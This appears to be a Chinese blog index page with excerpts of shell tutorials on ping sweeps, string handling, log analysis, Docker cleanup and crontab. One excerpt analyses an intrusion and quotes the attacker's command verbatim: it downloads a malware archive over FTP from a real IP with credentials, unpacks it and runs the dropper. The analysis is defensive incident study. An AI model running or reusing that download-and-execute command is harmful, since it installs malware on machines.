列出网络中活动的主机

使用 ping 优点 原生,不用安装软件 缺点 速度慢 下面的脚本列出 192.168.1.0/24 的所有主机,大概需要 255 秒 #!/bin/bash function handler () { echo "will exit" exit 0 } trap 'handler' SIGINT for ip in 192.168.1.{1..255} do ping -W 1 -c 1 $ip &> /dev/null if [ $? -eq 0 ]; then echo $ip is alive else echo $ip is dead fi done 使用 fping 优点 速度快 缺点 需要安装 fping # 安装fping brew install fping # mac yum install fping # centos apt install fping # debian 我用的 fping 是 MacOS X, fping 的版本是 4....

2019-12-26 10:34:15 · 1 min · Eddie Wang

入侵脚本分析 - 瞒天过海

机器被入侵了,写点东西,分析一下入侵脚本,顺便也学习一下。 bash -c curl -O ftp://noji:noji2012@153.122.137.67/.kde/sshd.tgz;tar xvf sshd.tgz;rm -rf sshd.tgz;cd .ssd;chmod +x *;./go -r 下载恶意软件 恶意软件的是使用 ftp 下载的, 地址是:ftp://noji:noji2012@153.122.137.67/.kde/sshd.tgz,这个 153.122.137.67 IP 是位于日本东京,ssd.taz 是一个 tar 包,用 tar 解压之后,出现一个 sh 文件,两个可执行文件。 -rwxr-xr-x 1 1001 1001 907 Nov 20 20:58 go # shell -rwxrwxr-x 1 1001 1001 1.3M Nov 20 21:06 i686 # 可执行 -rwxrwxr-x 1 1001 1001 1.1M Nov 20 21:06 x86_64 # 可执行 分析可执行文件 go go 是一个 shell 程序,下文是分析 #!/bin/bash # pool....

2019-12-23 18:54:01 · 2 min · Eddie Wang

shell数学运算

主要的数据运算方式 let (()) [] expr bc 使用 let 使用 let 时,等号右边的变量不需要在加上$符号 #!/bin/bash no1=1; no2=2; # 注意两个变量的值的类型实际上是字符串 re1=$no1+$no2 # 注意此时re1的值是1+2 let result=no1+no2 # 此时才是想获取的两数字的和,3

2019-10-26 14:18:08 · 1 min · Eddie Wang

字符串操作

获取字符串长度 需要在变量前加个**#** name=wdd echo ${#name} 首尾去空格 echo " abcd " | xargs 字符串包含 # $var是否包含字符串A if [[ $var =~ "A" ]]; then echo fi # $var是否以字符串A开头 if [[ $var =~ "^A" ]]; then echo fi # $var是否以字符串A结尾 if [[ $var =~ "A$" ]]; then echo fi 字符串提取 #!/bin/bash num1=${test#*_} num2=${num1#*_} surname=${num2%_*} num4=${test##*_} profession=${num4%.*} #*_ 从左边开始,去第一个符号“_”左边的所有字符 % _* 从右边开始,去掉第一个符号“_”右边的所有字符 ##*_ 从右边开始,去掉第一个符号“_”左边的所有字符 %%_* 从左边开始,去掉第一个符号“_”右边的所有字符 判断某个字符串是否以特定字符开头 if [[ $TAG =~ ABC* ]]; then echo $TAG is begin with ABC fi

2019-10-26 14:16:28 · 1 min · Eddie Wang

流程控制

if then // good if [ -d public ] then echo "public exist" if // good if [ -d public ]; then echo "public exist" if // error: if和then写成一行时,条件后必须加上分号 if [ -d public ] then echo "public exist" if // error: shell对空格比较敏感,多个空格和少个空格,执行的含义完全不同 // 在[]中,内侧前后都需要加上空格 if [-d public] then echo "public exist" if if elif then if [ -d public ] then echo "public exist" elif then 循环 switch 常用例子 判断目录是否存在 if [ -d public ] then echo "public exist" if 判断文件是否存在

2019-10-18 13:06:58 · 1 min · Eddie Wang

彩色文本与彩色背景打印

打印彩色字体 0 重置 30 黑色 31 红色 32 绿色 33 黄色 34 蓝色 35 洋红 36 青色 37 白色 把 31 改成其他数字,就可打印其他颜色的 this 了。大部分情况下,我们只需要记住红色和绿色就可以了 echo -e "\e[1;31m this \e[0m whang" 打印彩色背景 0 重置 40 黑色 41 红色 42 绿色 43 黄色 44 蓝色 45 洋红 46 青色 47 白色 echo -e "\e[1;45m this \e[0m whang"

2019-10-16 13:57:29 · 1 min · Eddie Wang

awk、grep、cut、sort、uniq简单命令玩转日志分析与统计

test.log 2019-1010-1920 192.345.23.3 cause:"AAA" type:"A" loginIn 2019-1010-1920 192.345.23.1 cause:"BBB" type:"A" loginIn 2019-1010-1920 192.345.23.3 cause:"AAA" type:"S" loginIn 2019-1010-1920 192.345.23.1 cause:"BBJ" type:"A" loginIn 按列分割 提取第三列 日志列数比较少或则要提取的字段比较靠前时,优先使用 awk。当然 cut 也可以做到。 比如输出日志的第三列 awk '{print $3}' test.log // $3表示第三列 cut -d " " -f3 test.log // -f3指定第三列, -d用来指定分割符 正则提取 提取 cause 字段的原因值? 2019-1010-1920 192.345.23.3 cause:"AAA" type:"A" loginIn 2019-1010-1920 192.345.23.1 type:"A" loginIn cause:"BBB" 2019-1010-1920 192.345.23.3 cause:"AAA" type:"S" loginIn 2019-1010-1920 192.345.23.1 type:"A" cause:"BBJ" loginIn 当要提取的内容不在同一列时,往往就无法用cut或者awk就按列提取。最好用的方式是用 grep 的正则提取。...

2019-10-15 21:35:15 · 1 min · Eddie Wang

Docker镜像批量清理脚本

使用 jenkins 作为打包的工具,主机上的磁盘空间总是被慢慢被占满,直到 jenkins 无法运行。本文从几个方面来清理 docker 垃圾。 批量删除已经退出的容器 docker ps -a | grep "Exited" | awk '{print $1 }' | xargs docker rm 批量删除带有 none 字段的镜像 $3 一般就是取出每一行的镜像 id 字段 # 方案1: 根据镜像id删除镜像 docker images| grep none |awk '{print $3 }'|xargs docker rmi # 方案2: 根据镜像名删除镜像 docker images | grep wecloud | awk '{print $1":"$2}' | xargs docker rmi 方案 1,根据镜像 ID 删除镜像时,有写镜像虽然镜像名不同,但是镜像 ID 都是相同的,这是后往往会删除失败。所以根据镜像名删除镜像的效果会更好。 删除镜像定时任务脚本 #!/bin/bash # create by wangduanduan # when current free disk less then max free disk, you can remove docker images # GREEN='\033[0;32m' RED='\033[0;31m' NC='\033[0m' max_free_disk=5 # 5G....

2019-08-06 13:48:13 · 1 min · Eddie Wang

awk、grep、cut、sort、uniq简单命令玩转日志分析与统计

test.log 2019-1010-1920 192.345.23.3 cause:"AAA" type:"A" loginIn 2019-1010-1920 192.345.23.1 cause:"BBB" type:"A" loginIn 2019-1010-1920 192.345.23.3 cause:"AAA" type:"S" loginIn 2019-1010-1920 192.345.23.1 cause:"BBJ" type:"A" loginIn 按列分割 提取第三列日志列数比较少或则要提取的字段比较靠前时,优先使用 awk。当然 cut 也可以做到。比如输出日志的第三列 awk '{print $3}' test.log // $3表示第三列 cut -d " " -f3 test.log // -f3指定第三列, -d用来指定分割符 正则提取 提取 cause 字段的原因值? 2019-1010-1920 192.345.23.3 cause:"AAA" type:"A" loginIn 2019-1010-1920 192.345.23.1 type:"A" loginIn cause:"BBB" 2019-1010-1920 192.345.23.3 cause:"AAA" type:"S" loginIn 2019-1010-1920 192.345.23.1 type:"A" cause:"BBJ" loginIn 当要提取的内容不在同一列时,往往就无法用cut或者awk就按列提取。最好用的方式是用 grep 的正则提取。好像 grep 不支持捕获分组,所以只能提取出出 cause:“AAA”,而无法直接提取出 AAA...

2019-08-06 11:24:53 · 1 min · Eddie Wang

长太息以掩涕兮,哀crontab之难用

我已经在 crontab 上栽了很多次跟头了,我决定写个总结。 常用的命令 crontab -l # 显示计划任务脚本 crontab -e # 编辑计划任务 计划任务的格式 时间格式 * # 每个最小单元 / # 时间步长,每隔多长时间执行 */10 - # 区间,如 4-9 , # 散列,如 4,9,10 几个例子 crontab 最小支持的时间单位是 1 分钟,不支持每个多少秒执行一次 # 每分钟执行 * * * * * cmd # 每小时的15,45分钟执行 15,45 * * * * cmd # 每个周一到周五,早上9点到下午6点之间,每隔15分钟喝一次水 */15 9,18 * * 1-5 喝水 每个 X 秒执行 crontab 的默认最小执行周期是 1 分钟,如果想每隔多少秒执行一次,就需要一些特殊的手段。 每隔 5 秒 * * * * * for i in {1....

2019-07-01 18:59:57 · 2 min · Eddie Wang